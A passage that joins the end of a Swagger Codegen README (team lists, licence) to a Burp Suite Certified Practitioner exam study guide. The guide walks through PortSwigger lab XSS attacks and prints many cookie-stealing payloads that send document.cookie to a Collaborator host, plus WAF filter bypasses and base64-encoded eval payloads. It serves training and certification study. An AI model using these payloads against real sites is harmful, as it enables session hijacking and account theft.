| | ObjC | @mateuszmackowiak (2016/05/09) | | Perl | @wing328 (2016/05/01) | | PHP | @arnested (2016/05/01) | | Python | @scottrw93 (2016/05/01) | | Ruby | @wing328 (2016/05/01) @zlx (2016/05/22) | | Scala | | | Swift | @jaz-ah (2016/05/01) @Edubits (2016/05/01) | | TypeScript (Node) | @Vrolijkx (2016/05/01) | | TypeScript (Angular1) | @Vrolijkx (2016/05/01) | | TypeScript (Angular2) | @Vrolijkx (2016/05/01) | | TypeScript (Fetch) | | ## Server Stubs | Languages | Core Team (date joined) | |:------------- |:-------------| | C# ASP.NET5 | @jimschubert (2016/05/01) | | Go Server | @guohuang (2016/06/13) | | Haskell Servant | | | Java Spring Boot | @cbornet (2016/07/19) | | Java Spring MVC | @kolyjjj (2016/05/01) @cbornet (2016/07/19) | | Java JAX-RS | | | Java Play Framework | | | NancyFX | | | NodeJS | @kolyjjj (2016/05/01) | | PHP Lumen | @abcsum (2016/05/01) | | PHP Silex | | | PHP Slim | | | Python Flask | | | Ruby Sinatra | @wing328 (2016/05/01) | | | Scala Scalatra | | | | Scala Finch | @jimschubert (2017/01/28) | ## Template Creator Here is a list of template creators: * API Clients: * Akka-Scala: @cchafer * Apex: @asnelling * Bash: @bkryza * C++ REST: @Danielku15 * C# (.NET 2.0): @who * C# (.NET Standard 1.3 ): @Gronsak * Clojure: @xhh * Dart: @yissachar * Elixir: @niku * Groovy: @victorgit * Go: @wing328 * Go (rewritten in 2.3.0): @antihax * Java (Feign): @davidkiss * Java (Retrofit): @0legg * Java (Retrofi2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Java (RestTemplate): @nbruno * Java (RESTEasy): @gayathrigs * Kotlin: @jimschubert * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * JMeter @davidkiss * Perl: @wing328 * PHP (Guzzle): @baartosz * Swift: @tkqubo * Swift 3: @hexelon * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * TypeScript (jQuery): @bherila * Server Stubs * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: @stevehu * Java Play Framework: @JFCote * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * JAX-RS RestEasy (JBoss EAP): @jfiala * PHP Lumen: @abcsum * PHP Slim: @jfastnacht * PHP Zend Expressive (with Path Handler): @Articus * Ruby on Rails 5: @zlx * Scala Finch: @jimschubert * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To join the core team, please reach out to [email protected] (@wing328) for more information. To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. # Swagger Codegen Evangelist Swagger Codegen Evangelist shoulders one or more of the following responsibilities: - publishes articles on the benefit of Swagger Codegen - organizes local Meetups - presents the benefits of Swagger Codegen in local Meetups or conferences - actively answers questions from others in [Github](https://github.com/swagger-api/swagger-codegen/issues), [StackOverflow](stackoverflow.com/search?q=%5Bswagger%5D) - submits PRs to improve Swagger Codegen - reviews PRs submitted by the others - ranks within top 100 in the [contributor list](https://github.com/swagger-api/swagger-codegen/graphs/contributors) If you want to be a Swagger Codegen Evangelist, please kindly apply by sending an email to [email protected] (@wing328) ### List of Swagger Codegen Evangelists - Cliffano Subagio (@cliffano from Australia joined on Dec 9, 2016) - [Building An AEM API Clients Ecosystem](http://www.slideshare.net/cliffano/building-an-aem-api-clients-ecosystem) - [Adobe Marketing Cloud Community Expo](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) # License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. License ------- Copyright 2017 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --- <img src="http://swagger.io/wp-content/uploads/2016/02/logo.jpg"/>
# Burp Suite Certified Practitioner Exam Study >This is my study notes with over a 100 PortSwigger Academy labs that I used to pass the [Burp Suite Certified Practitioner](https://portswigger.net/web-security/certification) Exam and obtained my [BSCP qualification](https://portswigger.net/web-security/e/c/6e42f5738e5b9bf8). >Go to [PortSwigger Academy](https://portswigger.net/web-security/all-materials) to get the original learning materials. **[FOOTHOLD](#foothold) - Stage 1** [Content Discovery](#content-discovery) [DOM-XSS](#dom-based-xss) [XSS Cross Site Scripting](#cross-site-scripting) [Web Cache Poison](#web-cache-poison) [Host Headers](#host-headers) [HTTP Request Smuggling](#http-request-smuggling) [Brute force](#brute-force) [Authentication](#authentication) **[PRIVILEGE ESCALATION](#privilege-escalation) - Stage 2** [CSRF - Account Takeover](#csrf-account-takeover) [Password Reset](#password-reset) [SQLi - SQL Injection](#sql-injection) [JWT - JSON Web Tokens](#jwt) [Prototype pollution](#prototype-pollution) [Access Control](#access-control) [GraphQL API Endpoints](#graphql-api) [CORS - Cross-origin resource sharing](#cors) **[DATA EXFILTRATION](#data-exfiltration) - Stage 3** [XXE - XML entities & Injections](#xxe-injections) [SSRF - Server side request forgery](#ssrf---server-side-request-forgery) [SSTI - Server side template injection](#ssti---server-side-template-injection) [SSPP - Server Side Prototype Pollution](#sspp---server-side-prototype-pollution) [LFI - File path traversal](#file-path-traversal) [File Uploads](#file-uploads) [Deserialization](#deserialization) [OS Command Injection](#os-command-injection) **[APPENDIX](#appendix)** [Python Scripts](#python-scripts) [Payloads](payloads/README.md) [Word lists](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/tree/main/wordlists) [Focus target scanning](#focus-scanning) [Approach](#approach) [Extra Training Content](#extra-training-content) [My Burp Tips](#burp-exam-results) >I can recommend doing as many as possible [Mystery lab challenge](https://portswigger.net/web-security/mystery-lab-challenge) to test your skills and decrease the time it takes you to ***identify*** the vulnerabilities, before taking the exam. >I also found this PortSwigger advice on [Retaking your exam](https://portswigger.net/web-security/certification/exam-hints-and-guidance/retaking-your-exam?tid=SNL7Q8oXE1mjUW1rSgswXSPIjhdLL5210Y-ogEuD1GZVp1w5spKfl5OJjAtj8AAC) very informative. ----- # Foothold # Content Discovery >Enumeration of target start with fuzzing web directories and files. Either use the Burp engagement tools, content discovery option to find hidden paths and files or use `FFUF` to enumerate web directories and files. Looking at `robots.txt` or `sitemap.xml` that can reveal content. ```bash wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ ``` >Burp engagement tool, content discovery using my compiled word list [burp-labs-wordlist](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/wordlists/burp-labs-wordlist.txt) as custom file list. ![content-discovery.png](images/content-discovery.png) >Examine the git repo branches on local downloaded copy, using `git-cola` tool. Then select **Undo last commit** and extract admin password from the diff window. ``` wget -r https://TARGET.web-security-academy.net/.git/ git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/ ``` ![git-cola](images/git-cola.png) [PortSwigger Lab: Information disclosure in version control history](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history) >Always open `source code` to look for any developer comments that reveal hidden files or paths. Below example lead to [symphony token deserialization](#deserialization). ![DEV code debug comment deserial](images/dev-code-debug-comment.png) ----- ## DOM-Based XSS [DOM XSS Indicators](#identify-dom-xss) [DOM XSS Identified with DOM Invader](#dom-invader) [DOM XSS AngularJS](#vuln-angularjs) [DOM XSS document.write in select](#doc-write-location-search) [DOM XSS JSON.parse web messages](#dom-xss-jsonparse-web-messages) [DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url) [DOM XSS AddEventListener Ads Message](#dom-xss-addeventlistener-ads-message) [DOM XSS Eval Reflected Cookie Stealer](#reflected-dom-xss) [DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie) ### Identify DOM-XSS >DOM-based XSS vulnerabilities arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes code to a sink that supports dynamic code execution. >Test which characters enable the escaping out of the `source code` injection point, by using the fuzzer string below. ``` <>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer ``` >Review the `source code` to ***identify*** the **sources** , **sinks** or **methods** that may lead to exploit, list of samples: * document.write() * window.location * document.cookie * eval() * document.domain * WebSocket() * element.src * postMessage() * setRequestHeader() * FileReader.readAsText() * ExecuteSql() * sessionStorage.setItem() * document.evaluate() * JSON.parse * ng-app * URLSearchParams * replace() * innerHTML * location.search * addEventListener * sanitizeKey() ### Dom Invader >Using Dom Invader plug-in and set the canary to value, such as `domxss`, it will detect DOM-XSS sinks that can be exploit. ![DOM Invader](images/dom-invader.png) ### Vuln AngularJS >AngularJS expression below can be injected into the search function when angle brackets and double quotes HTML-encoded. The vulnerability is ***identified*** by noticing the search string is enclosed in an **ng-app** directive and `/js/angular 1-7-7.js` script included. Review the HTML code to ***identify*** the `ng-app` directive telling AngularJS that this is the root element of the AngularJS application. ![domxss-on-constructor.png](images/ng-app-code-review.png) >PortSwigger lab payload below: ```JavaScript {{$on.constructor('alert(1)')()}} ``` >Cookie stealer payload that can be placed in iframe, hosted on an exploit server, resulting in the victim session cookie being send to Burp Collaborator. ```JavaScript {{$on.constructor('document.location="https://COLLABORATOR.com?c="+document.cookie')()}} ``` >**Note:** The session cookie property must not have the **HttpOnly** secure flag set in order for XSS to succeed. ![domxss-on-constructor.png](images/domxss-on-constructor.png) [PortSwigger Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) [z3nsh3ll give an amazingly detail understanding on the constructor vulnerability in this lab on YouTube](https://youtu.be/QpQp2JLn6JA) ### Doc Write Location search >The target is vulnerable to DOM-XSS in the stock check function. `source code` reveal ```document.write``` is the sink used with ```location.search``` allowing us to add **storeId** query parameter with a value containing the JavaScript payload inside a ```<select>``` statement. ![DOM-XSS doc write inside select](images/dom-xss-doc-write-inside-select.png) >Perform a test using below payload to ***identify*** the injection into the modified GET request, using `">` to escape. ```html /product?productId=1&storeId=fuzzer"></select>fuzzer ``` ![get-dom-xss.png](images/get-dom-xss.png) >DOM XSS cookie stealer payload in a `document.write` sink using source `location.search` inside a `<select>` element. This can be send to victim via exploit server in `<iframe>`. To test the cookie stealer payload I again on my browser in console added a test POC cookie to test sending it to Collaborator. ```html "></select><script>document.location='https://COLLABORATOR.com/?domxss='+document.cookie</script>// ``` ![dom-xss](images/dom-xss.png) [PortSwigger Lab: DOM XSS in document.write sink using source location.search inside a select element](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink-inside-select-element) ### DOM XSS JSON.parse web messages >Target use web messaging and parses the message as JSON. Exploiting the vulnerability by constructing an HTML page on the exploit server that exploits DOM XSS vulnerability and steal victim cookie. >The vulnerable JavaScript code on the target using event listener that listens for a web message. This event listener expects a **string** that is parsed using **JSON.parse()**. In the JavaScript below, we can see that the event listener expects a **type** property and that the **load-channel** case of the **switch** statement changes the **img src** attribute. >***Identify*** web messages on target that is using **postmessage()** with **DOM Invader**. ```JavaScript <script> window.addEventListener('message', function(e) { var img = document.createElement('img'), ACMEplayer = {element: img}, d; document.body.appendChild(img); try { d = JSON.parse(e.data); } catch(e) { return; } switch(d.type) { case "page-load": ACMEplayer.element.scrollIntoView(); break; case "load-channel": ACMEplayer.element.src = d.url; break; case "player-height-changed": ACMEplayer.element.style.width = d.width + "px"; ACMEplayer.element.style.height = d.height + "px"; break; case "redirect": window.location.replace(d.redirectUrl); break; } }, false); </script> ``` >To exploit the above `source code`, inject JavaScript into the **JSON** data to change "load-channel" field data and steal document cookie. >Host an **iframe** on the exploit server html body, and send it to the victim, resulting in the stealing of their cookie. The victim cookie is send to the Burp collaboration server. ```html <iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({ "type": "load-channel", "url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie" }), "*");'> ``` >At the end of the iframe onload values is a "*", this is to indicate the target is any. [PortSwigger Lab: DOM XSS using web messages and JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse) ![DOM Invader identify web messages](images/dom-invader-identify-web-messages.png) >Replay the post message using DOM Invader after altering the JSON data. ```JSON { "type": "load-channel", "url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie" } ``` ![DOM Invader resend web messages](images/dom-invader-resend-web-messages.png) [PortSwigger: Identify DOM XSS using PortSwigger DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages) ### DOM XSS AddEventListener JavaScript URL >Reviewing the page `source code` we ***identify*** the ```addeventlistener``` call for a web message but there is an `if` condition checking if the string contains ```http/s```. ![source-code-web-message-url.png](images/source-code-web-message-url.png) >The exploit server hosted payload below includes the ```https``` string, and is successful in bypassing the `if` condition check. ```html <iframe src="https://TARGET.net/" onload="this.contentWindow.postMessage('javascript:document.location=`https://Collaborator.com?c=`+document.cookie','*')"> ``` ![DOM-XSS AddEventListener JavaScript URL](images/DOM-XSS-AddEventListener-JavaScript-URL.png) [PortSwigger Lab: DOM XSS using web messages and a JavaScript URL](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-a-javascript-url) ### DOM XSS AddEventListener Ads Message >In the `source code` we ***identify*** the call using ```addEventListener``` and an element id ```ads``` being referenced. ![Source code web message ads](images/source-code-web-message-ads.png) >The ```fetch``` function enclose the collaborator target inside **back ticks**, and when the iframe loads on the victim browser, the postMessage() method sends a web message to their home page. ```html <iframe src="https://TARGET.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=fetch(`https://COLLABORATOR.com?collector=`+btoa(document.cookie))>','*')"> ``` >Replacing the Burp Lab payload ```print()``` with ```fetch()``` in the above code allow attacker to steal the victim session cookie. ![AddEventListener Ads Message](images/AddEventListener-Ads-Message.png) [PortSwigger Lab: DOM XSS using web messages](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages) ### Reflected DOM XSS >In the **Search** function a Reflected DOM-XSS vulnerability is ***identified*** using DOM Invader as being inside an `eval()` function. ![DOM Invader reflected dom-xss identify](images/dom-invader-reflected-dom-xss-identify.png) >***Identify*** that the search JavaScript `source code` on the target, the string is reflected in a JSON response called search-results. From the Site Map, open the `searchResults.js` file and notice that the JSON response is used with an `eval()` function call. ![Reflected DOM-XSS source-code](images/reflected-dom-xss-source-code.png) >Testing `\"-alert(1)}//` payload we successfully escape the `eval()`. The attacker then craft an exploit phishing link to the victim with a cookie stealing payload hosted on exploit server. >Above payload validate that the backslash **\\** is not sanitized, and the JSON data is then send to `eval()`. Backslash is not escaped correctly and when the JSON response attempts to escape the opening double-quotes character, it adds a **second** backslash. The resulting double-backslash causes the escaping to be effectively **cancelled out**. ```JavaScript \"-fetch('https://COLLABORATOR.com?reflects='+document.cookie)}// ``` >In the above payload every character is URL encoded and used as the search parameter value. This target do not have an exploit server, so I hosted my own `python3 -m http.server 80` web service and save the `index.html` file that contain the `location` target URL between `<script>` tags. ![Reflected DOM-XSS JSON cookie stealer](images/reflected-dom-xss-json-cookie-stealer.png) >In the image above, I create insecure POC cookie value in my browser before simulating a victim user clicking on `http://localhost/index.html` link, same as Burp Exploit server, that is the same as the Deliver exploit to victim function. [PortSwigger Lab: Reflected DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected) ### DOM-XSS LastviewedProduct Cookie >Identify the cookie ```lastViewedProduct``` is set to the last URL visited under the product page. In the `source code` we identify the injection script tags where ```window.location``` is set. ![DOM-XSS lastViewedProduct cookie code](images/dom-xss-lastViewedProduct-cookie.png) >Testing the escape out of of the script string for the value of **document.location** using ```/product?productId=1&'>fuzzer```. Note that **document.location** value cannot be URL encoded. ```html <iframe src="https://TARGET.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://TARGET.net';window.x=1;"> ``` I am unable to get a working cookie stealer payload for this vulnerable lab....... [PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation) ----- ## Cross Site Scripting [XSS Resources](#xss-resources) [Identify allowed Tags](#identify-allowed-tags) [Bypass Blocked Tags](#bypass-blocked-tags) [XSS Assign protocol](#xss-assign-protocol) [Custom Tags not Blocked](#custom-tags-not-blocked) [OnHashChange](#onhashchange) [Reflected String XSS](#reflected-string-xss) [Reflected String Extra Escape](#reflected-string-extra-escape) [XSS Template Literal](#xss-template-literal) [XSS via JSON into EVAL](#xss-via-json-into-eval) [Stored XSS](#stored-xss) [Stored DOM XSS](#stored-dom-xss) [XSS in SVG Upload](#xss-svg-upload) ### XSS Resources >XSS Resources pages to lookup payloads for **tags** and **events**. + [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) + [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications) + [HackTheBox CPTS Study notes on XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md) >CSP Evaluator tool to check if content security policy is in place to mitigate XSS attacks. Example is if the `base-uri` is missing, this vulnerability will allow attacker to use the alternative exploit method described at [Upgrade stored self-XSS](#upgrade-stored-self-xss). + [CSP Evaluator](https://csp-evaluator.withgoogle.com/) >When input field maximum length is at only 23 character in length then use this resource for **Tiny XSS Payloads**. + [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads) >Set a unsecured test cookie in browser using browser DEV tools console to use during tests for POC XSS cookie stealer payloads. ```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019"; ``` ### Identify allowed Tags >Basic XSS Payloads to ***identify*** application security filter controls for handling data received in HTTP request. ```html <img src=1 onerror=alert(1)> ``` ```html "><svg><animatetransform onbegin=alert(1)> ``` ``` <>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer ``` >Submitting the above payloads may give response message, ***"Tag is not allowed"***. Then ***identify*** allowed tags using [PortSwigger Academy Methodology](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked). >URL and Base64 online encoders and decoders + [URL Decode and Encode](https://www.urldecoder.org/) + [BASE64 Decode and Encode](https://www.base64encode.org/) >This lab gives great **Methodology** to ***identify*** allowed HTML tags and events for crafting POC XSS. >Host **iframe** code on exploit server and deliver exploit link to victim. ```html <iframe src="https://TARGET.net/?search=%22%3E%3Cbody%20onpopstate=print()%3E"> ``` [PortSwigger Lab: Reflected XSS into HTML context with most tags and attributes blocked](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked) >In below sample the tag **Body** and event **onresize** is the only allowed, providing an injection to perform XSS. ```JavaScript ?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'> ``` >This example show the **Body** and event **onpopstate** is not blocked. ```JavaScript ?search=%22%3E%3Cbody%20onpopstate=print()> ``` [PortSwigger Cheat-sheet XSS Example: onpopstate event](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#onpopstate) >Below JavaScript is hosted on exploit server and then deliver to victim. The `code` is an iframe doing **onload** and the search parameter is vulnerable to **onpopstate**. ```JavaScript <iframe onload="if(!window.flag){this.contentWindow.location='https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>#';flag=1}" src="https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>"></iframe> ``` ### Bypass Blocked Tags >Application controls give message, ***"Tag is not allowed"*** when inserting basic XSS payloads, but discover SVG mark-up allowed using above [methodology](#identify-allowed-tags). This payload steal my own session cookie as POC. ```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2Fcollaboration.net%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E ``` >Place the above payload on exploit server and insert URL with search value into an ```iframe``` before delivering to victim in below code block. ```html <iframe src="https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FCOLLABORATOR.com%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E"> </iframe> ``` ![svg animatetransform XSS](images/svg-animatetransform-xss.png) [PortSwigger Lab: Reflected XSS with some SVG markup allowed](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-some-svg-markup-allowed) ### XSS Assign protocol >Lab to test XSS into HTML context with nothing encoded in search function. Using this lab to test the **Assignable protocol with location** ```javascript``` exploit ***identified*** by [PortSwigger XSS research](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#assignable-protocol-with-location). In the payload is the ```%0a``` representing the ASCII newline character. ```html <script>location.protocol='javascript';</script>#%0adocument.location='http://COLLABORATOR.NET/?p='+document.cookie//&context=html ``` ![XSS protocol location](images/xss-protocol-location.png) [PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded) ### Custom Tags not Blocked >Application respond with message ***"Tag is not allowed"*** when attempting to insert XSS payloads, but if we create a custom tag it is bypassed. ```html <xss+id=x>#x'; ``` ***Identify*** if above custom tag is not block in search function, by observing the response. Create below payload to steal session cookie out-of-band. ``` <script> location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://Collaborator.COM/?c='+document.cookie tabindex=1>#x'; </script> ``` >**Note:** The custom tag with the ID ```x```, which contains an **onfocus** event handler that triggers the ```document.location``` function. The **HASH** `#` character at the end of the URL focuses on this element as soon as the page is loaded, causing the payload to be called. Host the payload script on the exploit server in ```script``` tags, and send to victim. Below is the same payload but **URL-encoded** format. ``` <script> location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FCOLLABORATOR.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x'; </script> ``` ![Custom XSS tag](images/custom-xss-tag.png) [PortSwigger Lab: Reflected XSS into HTML context with all tags blocked except custom ones](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-all-standard-tags-blocked) [z3nsh3ll - explaining custom tags for XSS attacks](https://youtu.be/sjs6RS7lURk) ### OnHashChange >Below iframe uses **HASH** `#` character at end of the URL to trigger the **OnHashChange** XSS cookie stealer. ```JavaScript <iframe src="https://TARGET.net/#" onload="document.location='http://COLLABORATOR.com/?cookies='+document.cookie"></iframe> ``` >Note if the cookie is secure with **HttpOnly** flag set enabled, the cookie cannot be stolen using XSS. >PortSwigger Lab payload perform print. ```JavaScript <iframe src="https://TARGET.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe> ``` >Note: ***Identify*** the vulnerable jquery 1.8.2 version included in the `source code` with the CSS selector action a the **hashchange**. ![Hashchange](images/hashchange.png) [PortSwigger Lab: DOM XSS in jQuery selector sink using a hashchange event](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event) [Crypto-Cat: DOM XSS in jQuery selector sink using a hashchange event](https://github.com/Crypto-Cat/CTF/blob/main/web/WebSecurityAcademy/xss/dom_xss_jquery_hashchange/writeup.md) ### Reflected String XSS >Submitting a search string and reviewing the `source code` of the search result page, the JavaScript string variable is ***identified*** to reflect the search string `tracker.gif` in the `source code` with a variable named `searchTerms`. ```html <section class=blog-header> <h1>0 search results for 'fuzzer'</h1> <hr> </section> <section class=search> <form action=/ method=GET> <input type=text placeholder='Search the blog...' name=term> <button type=submit class=button>Search</button> </form> </section> <script> var searchTerms = 'fuzzer'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">'); </script> ``` ![JavaScript string with single quote and backslash escaped](images/javascript-string-reflection.png) >Using a payload ```test'payload``` and observe that a single quote gets backslash-escaped, preventing breaking out of the string. ```JavaScript </script><script>alert(1)</script> ``` >Changing the payload to a cookie stealer that deliver the session token to Burp Collaborator. ```html </script><script>document.location="https://Collaborator.net/?cookie="+document.cookie</script> ``` ![collaborator get cookies](images/collaborator-get-cookies.png) >When placing this payload in `iframe`, the target application do not allow it to be embedded and give message: `refused to connect`. [PortSwigger Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped) >In BSCP exam host the below payload on exploit server inside `<script>` tags, and the search query below before it is URL encoded. ``` </ScRiPt ><img src=a onerror=document.location="https://COLLABORATOR.com/?biscuit="+document.cookie> ``` >Exploit Server hosting search term reflected vulnerability that is send to victim to obtain their session cookie. ```html <script> location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FCOLLABORATOR.com%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E" </script> ``` >The application gave error message `Tag is not allowed`, and this is bypassed using this `</ScRiPt >`. ### Reflected String Extra Escape >See in `source code` the variable named ```searchTerms```, and when submitting payload ```fuzzer'payload```, see the single quote is backslash escaped, and then send a ```fuzzer\payload``` payload and ***identify*** that the backslash is not escaped. ``` \'-alert(1)// fuzzer\';console.log(12345);// fuzzer\';alert(`Testing The backtick a typographical mark used mainly in computing`);// ``` >Using a single **backslash**, single quote and **semicolon** we escape out of the JavaScript string variable, then using back ticks to enclose the ```document.location``` path, allow for the cookie stealer to bypass application protection. ``` \';document.location=`https://COLLABORATOR.com/?BackTicks=`+document.cookie;// ``` >With help from Trevor I made this into cookie stealer payload, using back ticks. Thanks Trevor, here is his Youtube walk through [XSS JavaScript String Angle Brackets Double Quotes Encoded Single](https://youtu.be/Aqfl2Rj0qlU?t=598) ![fail-escape](images/fail-escape.png) [PortSwigger Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped) ### XSS Template Literal >JavaScript template literal is ***identified*** by the back ticks **`** used to contain the string. On the target code we ***identify*** the search string is reflected inside a template literal string. ``` ${alert(document.cookie)} ``` ![xss template literal](images/xss-template-literal.png) >I fail to get a working cookie stealer bypassing all the filters for this lab...... [PortSwigger Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped) ### XSS via JSON into EVAL >This [PortSwigger Practice Exam APP](https://portswigger.net/web-security/certification/takepracticeexam/index.html) is performing search function and the **DOM Invader** ***identify*** the sink in an ` eval() ` function. The search results are placed into JSON content type. ![Dom Invader EVAL identify](images/dom-invader-eval-identify.png) >Test escape out of the `JSON` data and inject test payload `"-prompt(321)-"` into the JSON content. ![json-injection-escape.png](images/json-injection-escape.png) >Attempting to get our own session cookie value with payload of `"-alert(document.cookie)-"` and filter message is returned stating `"Potentially dangerous search term"`. >WAF is preventing dangerous search filters and tags, then we bypass WAF filters using JavaScript global variables. ```JavaScript "-alert(window["document"]["cookie"])-" "-window["alert"](window["document"]["cookie"])-" "-self["alert"](self["document"]["cookie"])-" ``` [secjuice: Bypass XSS filters using JavaScript global variables](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/) >Below is the main cookie stealer payload before BASE 64 encoding it. ```JavaScript fetch(`https://COLLABORATOR.com/?jsonc=` + window["document"]["cookie"]) ``` >Next is encode payload using [Base64 encoded](https://www.base64encode.org/) value of the above cookie stealer payload. ``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ== ``` >Test payload on our own session cookie in Search function. ```JavaScript "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-" ``` >Unpacking above payload assembly stages: + Using the **eval()** method evaluates or executes an argument. + Using **atob()** or **btoa()** is function used for encoding to and from base64 format strings. + If **eval()** being blocked then Alternatives: + setTimeout("code") + setInterval("code) + setImmediate("code") + Function("code")() 